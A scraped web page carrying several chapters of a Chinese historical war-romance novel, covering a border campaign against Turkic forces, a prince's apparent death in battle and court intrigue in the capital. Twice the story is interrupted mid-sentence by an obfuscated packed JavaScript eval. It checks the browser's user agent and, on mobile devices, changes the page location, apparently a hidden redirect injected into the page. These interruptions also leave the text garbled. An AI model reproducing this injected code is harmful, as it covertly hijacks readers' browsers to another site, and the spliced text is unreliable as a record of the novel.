场面一时间混乱不堪,湖日查一边往另一个出口撤退,一边四处寻哈布日,但始终不见哈布日的踪影,霎时间怒道:“哈布日在哪儿?!” 哈布日是他最得力的副手,即便要走也得带上他。 旁侧的士兵赶忙说:“副首领在城门口指挥作战,似乎是被晋朝士兵给缠上了……首领快随我等走吧,不然就来不及了!” 士兵话音刚落,一支利箭破空而来,穿透皮肉,将那士兵钉死在地上。 湖日查猝然抬头。 “你们是在说这个吗?” 莲玉鹤在一众突厥惊恐的眼神注视下登场,手上还提着一颗鲜血淋漓的人头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430476|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湖日查脸色白了白,定睛看去,正是之前在战场上遇到的不要命的杀神楚玉。 一腔怒火涌上心头,湖日查目眦欲裂,咬牙切齿地从牙缝里挤出几个字,“楚玉,本王定要亲手杀了你泄愤!” 莲玉鹤不知道自己在湖日查心中是这般形象,他也没兴趣听湖日查的死前遗言,提剑上前,想要直取湖日查的项上人头,但抵不过突厥士兵数量众多,将他挡了回去。 湖日查便趁机侥幸逃脱了。 莲玉鹤也不多做纠缠,毕竟穷寇莫追,命一队士兵留下来打扫战场,清点物资,便赶去和莲玉荇他们会和。 地牢内昏暗一片,只有几盏烛火摇摇晃晃,照亮了方寸之地,莲玉荇和贺砚随站在牢房的另一边。 刚踏进牢房,莲玉鹤一眼便瞧见了窝在角落瑟瑟发抖的中年男子,浑身脏污血渍,身上是大大小小还未愈合的伤口,显得格外可怜。 此刻男子瞪着一双浑浊的眼睛,偷偷觑着他们。 莲玉鹤皱起眉头,看向莲玉荇的眼神里透着询问之意,这便是伙同贼人诬陷莲家通敌叛国的前燕州太守田应中? 得到肯定的回答,莲玉鹤心间一下子涌上了复杂滋味,是愤怒,是恨,抑或者是其他……他自己也说不清楚。 仇人就在自己面前,莲玉鹤想起和一家人受过的苦难,有那么一瞬间想杀了田应中泄愤,可真正的凶手还逍遥法外,不能这么便宜了他! “楚军师,你来问吧。”莲玉鹤沉寂许久,兀地开口道。 莲玉荇颔首,语气微重:“田应中,你通敌叛国之后投奔了突厥首领湖日查,如今湖日查已经败逃,你落在我们手里,可知道是何下场!” 原本还怔愣着的田应中瞳孔微缩,已然听清楚莲玉荇所说的话。 莲玉荇不管他神色如何,继续说:“你若想活命,便将你知道的和盘托出,否则,在下也可以考虑给你这把老骨头留个全尸!” “其一,莲丞相知你勾结突厥,本欲在圣前替你求情,你既是莲丞相的门生,为何与他人勾结陷害莲丞相,致他一家人枉受牢狱之灾!” “其二,莲丞相前脚丢了丞相私印,后脚便被人弹劾通敌叛国之罪,此事是否与你有关?或者说丞相私印是不是在你身上!” …… 在莲玉荇一条条厉声诘问之下,原本没什么反应的田应中缓缓抬起了头,眸光闪烁,声调古怪:“我本无意如此,全因被人胁迫。” 莲玉荇追问:“何人胁迫于你?又如何胁迫于你?” “那人一身黑衣黑袍,带着面罩,我看不清他的脸,不过依稀可以听出来是京都口音……” “那人掌握着我私通外敌的证据,若是我不按他所说去做,他便揭发我,横竖都是死路一条……” “丞相私印丢失一事我确实不知,私印我从未见过,信或不信全由诸位。” …… 出了牢房,沉闷的气氛一扫而空,莲玉荇暗暗呼了一口气,贺砚随背着手看她,随即移开视线,道:“田应中的供词已经拿到,现下只要找到丞相私印的位置,莲家通敌叛国一案便可以真相大白了。” “多谢端王殿下。”莲玉鹤朝贺砚随拱了拱手,“田应中说与他接触的人有着京都口音,或许……” 莲玉荇适时接话:“私印不在边关,便在京都!” 到底是谁手眼通天,借田应中之手,不惜扰乱边关秩序,也要将京都的水搅混? 42. 分道 远在百里外的津门山,大雪飘风,朔风拂面,干枯的树干上时不时掉落雪堆,道路越发难走。 身披蓑衣的人们推着满满当当的马车,逆着风雪而上,往燕州方向而去。 走了不多里路,落在后面的人惊呼一声,匆匆跑到前面去,“大人,马车陷进积雪里,有几辆马车车毂也断了!” 被称作大人的男子从蓑衣帷帽下露出面庞,正是之前贺砚随和莲玉荇遍寻不见的钱敏。 他隐匿在燕州,得到京都传来的密报之后,便将自己拾掇了一番,摇身一变成了朝廷钦点的运粮官,负责将朝廷划拨的粮草送至边关。 “风雪越来越大了,车毂一时半会儿也修不好,不如先进附近的山洞避避风雪,等到雪停了我们再走。”钱敏抖落蓑衣上的雪,指挥着众人将粮草移到山洞里。 火已经升了起来,一群人围坐在火堆旁取暖,七嘴八舌谈论着飘摇不定的风雪和这一路坎坷。 “这雪下了许久,不知道什么时候才能停?” “从出京都到现在,一路波折动荡,先是流寇抢夺粮草,我们好不容易才保住几车粮草,而后到附近城郡搜罗凑齐粮草,现在快到燕州,又遇上大风雪,唉……算算时间也快过去两个月了吧。” “是啊,不知道端王殿下那边的情况怎么样了,可还顺利……” …… 钱敏坐在他们中间一言不发,看似在静听,漫天神思却早已飘远了。 临上任时,大人传来密信,命他尽量拖延粮草送达的时间,打算借此机会将贺砚随除掉。 一路上钱敏都在盘算着如何做。 起初命燕州探子暗中送信给边关流寇,引他们来劫走粮草,队伍里有人拼死反抗,这才保下了几车粮草。 后来收到消息,粮草兜兜转转还是被贺砚随抢了去,他便又派人送密信给突厥首领湖日查,告知他此事。 那湖日查也不是个蠢的,心里虽然疑惑是谁帮他,但是也派了一队精锐前往晋军军营纵火,再次让贺砚随陷入困境。 最近风雪愈大,加上人多眼杂,他很久没有收到侍卫营那边传来的消息。 不过也不着急,想必大人已经安排好了一切。 而他,只要悄无声息混进军营之中。 只要能与贺砚随接触,便能在必要之时出手,将贺砚随一击毙命,消除大人的心腹大患。 钱敏眼瞳微缩,一缕寒芒悄然闪过,任何人都未曾察觉。 ** 遥关一战,因湖日查匆忙而逃,很多粮食马匹未来得及带走,莲玉鹤带着士兵们四处地毯式搜索,又找到了一些,可谓是久旱甘霖。 “这些粮草应该够半个月了。”莲玉鹤将具体情况如实说来,诸位将领赞同地点了点头。 袁副将道:“多亏了楚军师神机妙算,发现有突厥奸细潜藏在军营中,索性将计就计,我们才能这么快拿下遥关。” “袁副将谬赞了。”莲玉荇又道:“我们本就粮草稀缺,如今虽拿下遥关,接下来更棘手的还有苍夹关。” “遥关失守,一众突厥人退守苍夹关,湖日查知道我们缺粮,或许还会派人去劫朝廷押送的粮草。” 就算突厥不会劫粮草,钱敏本就是那幕后之人的打手,指不定会从中作梗,还是得早做谋划。莲玉荇心里嘀咕,留着这么个人,终归是个祸患。 “将军有何打算?”莲玉荇的目光落在贺砚随身上。 “……”贺砚随沉默片刻,似乎是在思索着什么。 贺砚随:“之前诸位一同商定的作战计划是三路攻打苍夹关,但本将思来想去,不如便兵分两路——由楚副将、袁副将同本将一同前往苍夹关,楚军师便和沈副将前去接应粮草。” 听到这话,莲玉荇眼神微微缩紧,喉头一动,到嘴边的话又被她咽了回去。 “只要此战胜了,将突厥赶出我晋朝土地,” “是!”众人齐声答。 …… “为什么派我去接应钱敏?”莲玉荇问。 一面屏风将莲玉荇和贺砚随各自分开,日色从门外投射到屋子里,光影分两端。 贺砚随罕见地噤了声,垂着眸子,手指无意识颤动着。 莲玉荇低声:“贺砚随,说话。”话语间藏着若有若无的怒意。 阿荇生气了。贺砚随没由来地想,一抬头,发现莲玉荇不知道什么时候走到他面前,脸色浮现出愠色。 “你是不是觉得我是女子,便不配和你并肩上战场?” “还是说你想一个人面对那些刀光剑影、险象环生,便将我赶得远远地。” 贺砚随就这样看着她口唇张合,等到她发泄完了,将人拉到身前,伸手将她鬓角处落下的发丝别在耳后。 “你……”莲玉荇愣了片刻,先前的怒气已经消散,再开口语气有几分生硬,“别想蒙混过去。” 贺砚随宠溺地笑笑,“阿荇是我见过最聪慧勇武的女子,上能绘画吟诗,下能出入沙场,是我高攀了阿荇。” “只是苍夹关情况复杂,由我们先打头阵,探明情况比较好。待你和沈副将接应到押送粮草的队伍,再赶来与我们会和也不迟。”贺砚随捧起莲玉荇的脸,语调亲昵:“阿荇觉得如何?” “……我说不过你。”莲玉荇偏了偏头,将脸从贺砚随手上移开。 莲玉荇在他眼里看出不舍,怕再多看几眼,便舍不得放他一人离开了。 二人视线对上,相看却无言。 半晌,莲玉荇忽地往前抱住了贺砚随,闷闷说话:“一路小心,我等着你。” 此行凶险,她知道贺砚随是为了大局为重,她虽心有顾虑,但也尊重贺砚随的决定。 只有赢下这场战,他们才能名正言顺回京都去。 “好,一定。”贺砚随应着,将一个锦囊递到她手上,“你也要照顾好自己,这是我送你的平安福,带上可保平安。” 莲玉荇没动,悄悄将袖子里的东西放到贺砚随身上。 “那便多谢殿下好意。”莲玉荇轻笑道。 ** 近几日忽然下起了大雪,莲玉荇他们出了遥关地界,才觉得风雪小了不少。 “不知道运粮队伍是不是走的官道,”沈副将收回视线,叹了口气,“若是他们没有走官道,那我们真可谓是大海捞针。” 自从和另一支队伍分开,莲玉荇一行人已经沿路找了好几天,都没有运粮队伍的身影。 一路上并没有驿站,也不知道钱敏他们走到哪儿了,莲玉荇示意众人停下,将手搭在额上,远远看去,雪地里有几个豆大黑点若隐若现。 莲玉荇惊奇挑眉,指着那处说:“沈副将,你看那里!” 沈副将循声看去,随着距离拉近,几个黑点渐渐显现了原本的模样,身旁的马车上也挂着朝廷的旗帜。 “是他们。”沈副将放下心来,“我们快些过去和他们碰头吧。” 莲玉荇颔首,带着人往运粮队伍所在的位置走去。 而钱敏也耳力眼力俱佳,早就发现了莲玉荇一行人,看着中间那张熟悉的脸,他原本平和的心绪突兀地波澜起伏,瞬间泛着怀疑。 莲玉荇怎么会在这儿? 淮安之时他原本打算杀了她,奈何被贺砚随救了。京中曾传言,罪臣之女莲玉荇跳崖身亡,如今竟凭空出现在边关—— 必是贺砚随从中运作,窝藏罪臣之女。这可是重罪。 钱敏心中有了算计,将此事记在心中,待从长计议。同时他也担心是不是贺砚随已经发现了大人的计划,派人来监视于他。 不过……莲玉荇如今是戴罪之身,若是她先行发难,他便揭发她女儿身的身份。 钱敏心下稍安,不管莲玉荇打算使什么手段,见招拆招即可。 ** 历经几番波折终于和军营中人碰上面,运送粮草的众人心中五味杂陈,但更多的是欣喜,纷纷围着莲玉荇和沈副将询问作战情况。 “作战之事,大将军带着袁副将等诸位将领商议,我们兵分两路,所以目前是什么情况,在下并不清楚。诸位只需休养生息,将粮草运到即可,旁的不必担心,一切有将军在。”莲玉荇安慰道, “那便好,那便好。” 莲玉荇将众人的问题悉数回 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说完便起身离去了,莲玉荇看着他离开的背影露出了若有所思的笑意。 随后她叫来了沈副将,二人耳语一番,沈副将一副将信将疑的样子,但还是点了点头表示同意。 ** 第二日。 风雪已经停了,莲玉荇早早醒来,带领一行人开始赶路。 不多时便行至九龙关。此处山路蜿蜒陡峭,四面都是崎岖山顶,视线受阻,十分方便弓箭手埋伏。 虽没了风雪,但天仍是黑压压一片,压得人心头喘不过气来。 莲玉荇的视线从四面山扫视而过又落回地下,暂时没有发现什么异样,但仍然不敢放松大意。 沈副将传令众人小心行事,注意提防。 众人提心吊胆走了一路,快要过完弯道也并没有发现有人埋伏,心里暗暗舒了口气。 看来突厥并没有在此设防埋伏。 那就好。 就在这时,山顶处忽然冒出一大批黑衣弓箭手,九龙关出口处也被几十个黑衣人拦住了去路,一个个手持银剑,寒光摄心夺魄。 气氛霎时间诡谲,几个心智不坚的已然脸色大变,瘫软在地。顷刻,为首黑衣人发话:“一个不留,给我杀!” 沈副将早已抽刀准备迎战,他朝莲玉荇的方向大声道:“楚军师和钱大人待在原地,剩下的交给我们即可。”接着转头嘱咐另一人保护好莲玉荇,便提刀冲入一众黑衣人中间。 莲玉荇眉宇压紧,还没来得及跟沈副将说一句“万事小心”,索性闭上了嘴。 局势渐渐焦灼,莲玉荇看得心头狂跳,山顶上迟迟没出手的弓箭手此刻有了动作,密密麻麻的羽箭往他们所在方位射过来。 “注意躲避!”莲玉荇被拉着往山体后躲,余光扫到旁边的男人,“钱大人!” 一下子听到莲玉荇叫自己的名字,钱敏只愣了一瞬,旋即反应迅速地跟在莲玉荇身后,同他们一起躲到了山体后。 莲玉荇蹲在地上没了往日形象,目光悉数汇聚在战场交锋之上,没注意到身后的异动,只紧紧攥着手里的匕首,那模样仿佛随时准备冲出去应战。 方才保护他们的士兵重新加入了战斗之中,此刻这里只有莲玉荇和钱敏两人。 钱敏死死盯着女子毫无防备的纤弱后背,心中浮现了一条毒计。 昨夜莲玉荇言语暗含试探,想来已经对他的身份产生怀疑。方才他又在黑衣人队伍当中发现了端倪,其中混入了燕州侍卫营里的人。 正好借着这个千载难逢的机会,除掉莲玉荇。 莲玉荇,既然我杀不了贺砚随,那便先杀了你吧! 匕首出鞘,而后迅速蓄力挥出,莲玉荇此番必死无疑! 刚摆脱了黑衣人缠斗的沈副将心有所感,往莲玉荇所在方位瞧去,一副骇人情景映入眼帘,登时瞪大了双眸,厉声喝道:“楚军师小心!” 莲玉荇闻声猝然转头,刀光寒芒闪过她的眼眶十分刺痛,下意识闭上了眼睛,手腕一动。 43. 西风 自粮草被劫,楚军师和沈副将下落不明的消息传来,军营内寂静非常。 苍夹关久攻不下,如今还出了这档子事,上到大将军,下到他们这些平头小兵,心情都沉重了起来,只能眼巴巴看向主帐。 主帐内,贺砚随垂首低眉,眉眼间的阴郁浓到化不开,莲玉鹤来回踱步,素来平和的人此刻却失了分寸。 “阿荇定是被贼人算计了。” “沈副将如今也下落不明,这可如何是好?” “要不我带一队人马前去寻他们……” 莲玉鹤口中喃喃,倏然卸了气劲。他虽十分担心莲玉荇的安危,可如今大战在即,要是他贸然离开,恐怕会给了突厥可乘之机。 贺砚随摇了摇头,手上摩挲着一个玉哨,惹得不禁莲玉鹤侧目,“本王已派暗卫去寻他们,一有消息便会立刻来报,现下突厥已经在备战,若是再少了将领,军心不定,此战危矣。烦请楚副将冷静,不要失了分寸。” “端王殿下要我如何冷静,那是我妹妹!”莲玉鹤胸口起伏,因为愤怒而剧烈喘息着。 阿荇没有学过什么正经武艺,只会一点鸡毛蒜皮的防身术,叫他如何能不担心!如何能冷静! 贺砚随反问:“阿荇是本王心爱之人,本王又何尝不担心呢!” 见莲玉鹤反应如此剧烈,贺砚随平息好呼吸没再说话,恐再刺激到他,移开视线转向了别处。 “……”莲玉鹤握着拳缄声不语,一颗心跌倒了谷底,忽地将手边的铜器拂落在地,沉闷的声音似乎砸到了两人的心上。 莲玉鹤蓦然闭上了双眼,再睁开时眼底清明一片,已然恢复了冷静,他呼出一口浊气,大步走出了营帐。 贺砚随收回视线,垂头看向掌心的玉哨,眸色晦暗。 …… 暮色笼罩,军营里气氛十分低迷,但贺砚随一坐到火堆旁,不少士兵跟着坐在了一边。 过了一会儿,有人忍不住问道:“大将军,如今我们该怎么办?”粮草被劫,主将失踪的消息传出,不少士兵心绪不定,隐隐有担心之意,没了粮草,他们真就成了困兽,只能颓然等死了。 此话一出,不少人悄悄看向贺砚随。虽然一路上贺砚随领兵的能力他们有目共睹,可如今面临如此困境,楚军师又不在,不知道主将会做出什么样的决定。 贺砚随拨弄着火堆不答,只抬手命人把大锅抬过来,众人循声看去,还冒着热气的大锅里蹲着香喷喷的羊肉,惹得众人直咽口水。 “这是……”不少士兵疑惑地问,眼底里流露出渴望。因为粮草紧缺,他们好久没见到过这么多肉食荤腥了。 军中粮草所剩无几,牛羊也只有十几头,如今贺砚随命后厨宰杀了,一部分做干粮,一部分现在便分食了。 袁副将已然知道贺砚随此举何意,率先站起身,给将士们分肉。 一阵喧哗过后,众人又重新坐了下来,只是没人动手上端着的肉,都不约而同看向贺砚随。 贺砚随的语调苍凉却掷地有声: “前几日攻打突厥时受挫,如今将领失踪,粮草被劫。天不遂人愿,如将士们所见,目前的情况确实有些棘手。” “可……”贺砚随顿住,而后大声道:“即便天不佑我大晋,诸位将士是否宁愿束手就擒,将边关领地拱手让人!是否愿意如困兽一般,罗网层层,垂首等死!” “尔等不愿!” 贺砚随:“诸位将士今日吃好喝好,明日随本将上战场杀尽敌寇,封狼居胥!” “此战必胜!”“此战必胜!”此起彼伏的喊声响彻军营上空,原本散漫的军心此刻又重新凝聚起。 莲玉鹤隔着攒动的人头将贺砚随的姿态收尽眼底,熠熠眸光转瞬而逝。 ** “袁副将带领甲、乙、丙三支队伍于苍夹关正面迎敌,拖住湖日查,楚副将随本将绕后,伺机偷袭,看能否找到机会攻破突厥防御。” 几人迅速进行了一番排兵布阵,各自按照贺砚随的安排散去。 贺砚随与莲玉鹤带着几队精兵往苍夹关绕后,没有人注意到,远山上手持银刀利箭的黑衣人正往他们离去的方向窥伺,伺机而动。 …… “竖子呼日查,还不快出来迎接你爷爷!” “爷爷千里迢迢来看你,怎么不出来迎接!” “哈哈哈哈哈哈!” 十万大军陈兵城下,袁副将身着甲胄,坐在高头大马之上气势昂扬叫阵,一众将士被他逗乐。 城墙之上的突厥士兵脸色一阵青一阵黑,却没有人敢回应。 过了好一会儿,袁副将眯着眼睛瞧见一人匆匆上了城墙,他认得这人,战场上见过几次,平日就跟在湖日查身边。 “怎么,湖日查不来,便派你们这些虾兵蟹将来应付?”袁副将仰天大笑,“不如把湖日查请出来,咱们面对面好好聊聊。” 那人黑沉着脸,愤愤道:“阁下牙尖嘴利,我们可比不得阁下只会耍嘴皮子!若想见首领,不妨亲自打开城门进来,不要白费工夫!” 那人说完便拂袖而去了,袁副将看出了些许端倪,召来一人。 “给大将军传信,湖日查似乎不在关内,让他们早做防范,要快。” 袁副将慢慢收敛了脸上的笑意。原本大将军命他在城门下叫阵,是为了引湖日查现身,借机牵制住湖日查,给大将军和楚副将的行动争取时间。 湖日查似乎看透了他们的动作,率先出关,或许早已经设下了埋伏。 他虽心急如焚,但也不能自乱阵脚,只期望送信之人能赶在湖日查之前,大将军和楚副将能够有所觉察。 若有变故,他自会带着身后十万大军强攻城门,给大将军他们争取时间。 ** 越靠近苍夹关,沿途所设关卡越多,贺砚随带着人小心前进,终是在黄昏之时赶到了城门之外十里处。 “此处巡逻队伍甚多,小心行事。” 贺砚随话音刚落,突厥巡逻士兵不知从哪个地方冒了出来,冷不丁打上了照面,打了他们一个措手不及。 “什么人?!”莲玉鹤眼疾手快扭断了两人的脖子,还是没拦住余下一人叫喊出声。 这一声来得措不及防,惊飞了书上停歇的鸟兽,惊动了城墙之上的突厥士兵。 “他们在那儿!”曹破延是突厥叶护,自呼和润被汉人斩杀之后,便被湖日查重用,负责守关大业。 曹破延飞身下了城墙,大刀直取莲玉鹤面门,莲玉鹤一偏头将将躲过,大刀削掉了几缕鬓发。 “好刀。”莲玉鹤扯了扯嘴角,提剑攻了上去,和曹破延缠斗起来。 贺砚随踹开面前的突厥士兵,没有丝毫恋战,命剩下的人杀上城墙,不过前来支援的突厥士兵越来越多,晋军不禁有些捉襟见肘。 彼时有寒光一闪而过,贺砚随惊诧转头,城墙上有一壮汉拉弓引箭,正对着莲玉鹤的方向蓄势待发。 是湖日查! 箭矢离弦,极速而来。贺砚随瞳孔微缩,电光火石间,他三步并作两步,在箭矢来临前猛地拽开莲玉鹤,利箭擦着臂膀而过钉进了城墙之中。 可见射箭之人用心歹毒,想要置人于死地。 贺砚随闷哼一声捂住了手臂,莲玉鹤脸色大变,“殿下没事吧?!” “无事。”贺砚随摇摇头,抬眸看向城墙上的湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺砚随直接无视了他,适时开口:“诸位!如今你们的首领在我们手上,若是不想他受伤,便速速离去,否则刀剑无眼。”说着往湖日查的方向指了指,晋朝士兵配合地一压刀,突厥众人倒吸了一口凉气。 “如今你们在的是突厥的地盘,没粮草,没人手,看谁耗得过谁!”曹破延恶狠狠地说道。 “哦?是吗?”贺砚随一挥手,城墙下的士兵直接抬手使劲一按,湖日查原本鲜血直流的脸变得越发可怖。 双方对峙了大概一盏茶的时间,曹破延率先垂首。 他咬牙切齿道:“若是首领伤了半分,我就算是死也会杀了你们。我们走!” 突厥士兵在曹破延的带领下不情不愿地离开了,紧张的情绪倏然撤下,不少士兵累瘫在地。 莲玉鹤问:“将军,现在是否赶去与袁副将他们会合?” “天快黑了,不如先休整……” 仿佛喉咙猛然被掐住,贺砚随的声音戛然而止,莲玉鹤循声看去,双眸倏然瞪大,罕见地显现出惊恐之色。 一支利箭贯穿了贺砚随的胸口,血淋淋的洞口似乎要将人吞噬,鲜血淋漓。 身体一下子变轻了,贺砚随身体不受控制地倾斜,他看见莲玉鹤一脸惊恐地看向他,随后耳边炸响惊呼声。 “砰——”贺砚随猛然咳出一大口血,视线已模糊不清,一群人在他眼前晃动,他看不清任何人,只能惶然闭上眼睛。 再睁开,眼前是一张笑意盈盈的脸,他伸手去够却怎么也够不到,血气糊了他的喉咙,“阿荇……” 他从怀里摸索出一个玉哨,用尽全力吹出尖利又嘶哑的哨声。 最后一丝夕阳余晖落下,贺砚随的手也垂了下来。 西风飒飒吹,细雨飞雪来,苍凉又壮阔。 44. 归京 “不可能……前几日将军还好端端地。楚玉,你不能用这种事来骗我……” 营帐内,袁副将一脸希冀地看向莲玉鹤,希望能从他口中听到不同的答案。 可莲玉鹤眼眶猛然红了,扭转过头不看他,垂在身侧的拳头也紧紧攥住,袁副将双目圆瞪,像是受了极大的打击,身体不受控制地往后退了几步,踉跄着勉力撑起身体。 袁副将满脸土色,眼底浮现了细密血丝,他沉默许久才说话,嗓子变得十分喑哑,“殿下如今在何处?你告诉我殿下战死沙场,叫我如何相信?!” 莲玉鹤:“……” 其实此前种种迹象已经分明。 退回营地之后,突厥派人送来信件,信中写着:端王已死,若尔等交出首领湖日查,受降不杀。 只是袁副将自己不愿意相信,莲玉鹤的表现不过确切证实了这一点。 二人各自坐在一边,谁也没再说话。 莲玉鹤抬头望天,明月低垂,被阴云遮住了大半。 他暗自叹息,没了粮草,没了主将,军心涣散不已,难道他们真的就此失败了吗? 夜半之时,军营里忽然来了一群不速之客,行色匆匆,推着满满当当的粮草停在了营地之中。 将士们摸不着头脑,只能去请莲玉鹤和袁副将,而莲玉鹤一眼便看见了为首之人,讶然之色浮现在脸上,显然没想到他会出现在这里。 那人听到动静转身,拱手行礼,笑道:“在下曹声,奉命前来送粮草。” ** 曹破延那时假意离开,实则带着人躲在了不远处的草丛里,但没成想突厥首领被抓,但晋朝主将也被人一剑射杀。 贺砚随中箭倒地后场面混乱不已,曹破延原本想趁乱救出首领,可不知道从哪里又冒出一群杀手,将先前的杀手悉数斩杀,将他们也悉数击退。 他狼狈逃了,躲在暗处窥探着,为首之人从怀里拿出一封信递给楚玉,楚玉模样十分犹豫纠结,最终答应那人将贺砚随的尸体带走了。 他想,重伤至此,贺砚随段断然不可能再有命活着了,突厥部族的祸患便少了一个。 失了主将,又无粮草,晋朝军队便只能苟延残喘。曹破延这般想着,有人匆忙进帐呈上一张纸,上面赫然写着“战书”二字。 五日后,突厥与晋朝在苍夹关做最后一战。 如曹破延料设想的截然相反,晋朝士兵不仅没有颓废饥饿之像,反而各个生龙活虎,势如破竹,打了他们一个措手不及。加上首领被擒为人质,失了军心,不少突厥士兵纷纷丢了兵器,仓惶而逃。 败局已定,曹破延挣扎无果,只能带着突厥众人退出燕州,逃亡北地。 “冲啊——” “杀!杀!杀!” 袁副将红巾烈马,手中大刀耍得虎虎生风,吓得突厥士兵不战而退,莲玉鹤则轻骑上阵,银色盔甲英姿勃发,二人一路带着晋朝军队将突厥打回了草原。 苍茫草原之上,牛羊肥沃之地尽数入了晋朝囊中,欢呼声、雀跃声阵阵不绝。 “我们赢了!我们赢了!” “犯我大晋边境者,杀无赦!” “阿爹阿娘,孩儿可以回乡看你们了……” …… 昭文四十三年,突厥部族兵败投降,愿割土地、献牛羊议和,以求安定。 自此,动乱已久的边关之地,终于迎来了和平宁静之日。 ** 一月后。 “近来陛下的身子越来越不好了,不知道王爷是否做好了打算?” 琼华宫内,温贵妃随意拨弄着手指上的丹蔻,眉眼微挑,看向一边悠然饮茶的贺凭舟。 贺凭舟的野心她一清二楚,朝臣已悉数倒戈于温国公一派,只要贺凭舟一声令下,朝堂之上便全听他的调遣了。 只是如今贺凭舟不动声色,温贵妃倒看不透他的心思,不愿拐弯抹角猜来猜去,索性直接发问。 四周已经屏退了众人,贺凭舟一双鹰眼随意一瞥,很快又掩盖住眼底情绪。 “不急,边关尚未传来密报,贺砚随不死本王心难安。”贺凭舟放下茶杯,落在桌上发出闷响,唇边露出了清浅笑意,“阿敏不必忧心,本王已经做好了万全准备,如今只欠了东风。” “若本王如愿登上帝位……那你便是皇后。”贺凭舟将温贵妃揽在怀里,温柔地抚摸着她的后背。 温贵妃笑得花枝乱颤,丝毫没注意到贺凭舟眼底毫无波澜,隐隐有冰冷之色。 差不多晌午过后,贺凭舟从琼华宫出来又去了一趟慈安宫,皇帝还是那副病歪歪的样子。 刚出慈安宫就得了好消息,盼东风,东风便来了。 端王贺砚随战死沙场,罪臣莲衡之女失踪,生死不知。真是天大的好消息! 现在没有人再跟他作对,若是有人再阻挠他的大业,他便杀尽挡路之人。 贺凭舟忽地恣意大笑,丝毫不管身边之人是何神情,片刻后他止住笑声伸手召来宫人:“传本王口谕,命陈太医即刻入宫,不得有误。” “小的遵命。” ** 残雪压枝低。 天还昏昏沉沉,就有两人行色匆匆进了京郊的一间客栈,粗布麻衣裹着身体,头戴斗笠看不清人脸。 小二揉着眼睛打了个哈欠,将二人迎进了客栈,“二位客官吃饭还是住店?” “一间上房。”稍年轻的男子开口,将房钱放到了小二手里,两人径直上了楼。 小二挠头疑惑嘟囔:“真是两个怪人。”这么早来客栈住店,浑身又裹得那么严实,像是怕被人看见。 但是少说话多做事,才能活得长。小二旋即将一切都抛之脑后。 …… 房门被关上,袁副将摘下斗笠,朝窗边观望的人道:“楚兄,陛下并未下旨召见我等,军队班师回朝也要月余,如今我们擅自进京,若是被人发现……” 莲玉鹤恍若未闻,理了理衣裳走到了屏风后面。 屏风后隐约有几个人影,是有人不请自来。袁副将眼神一凛,握紧刀柄,快步走到屏风之后。 果真有贼人!袁副将还未来得及拔出刀,便直愣愣定在原地,眼神错愕,脸色一阵青一阵白,像是受了什么天大的刺激。 过了许久,才听见袁副将颤颤巍巍说话:“……端王殿下,沈副将,你们没死啊……你们是真的还是假的?” 他盯着围坐圆桌的几人,不可置信地揉了揉眼睛,确认自己没看错。 房间里的气氛莫名诡异,几人上下打量着袁副将,而后不约而同笑开了。 “哈哈哈,袁副将,别来无恙啊。”沈副将站起身,将呆愣在原地的袁副将推着坐下,“是真是假,不妨你自己看看。”

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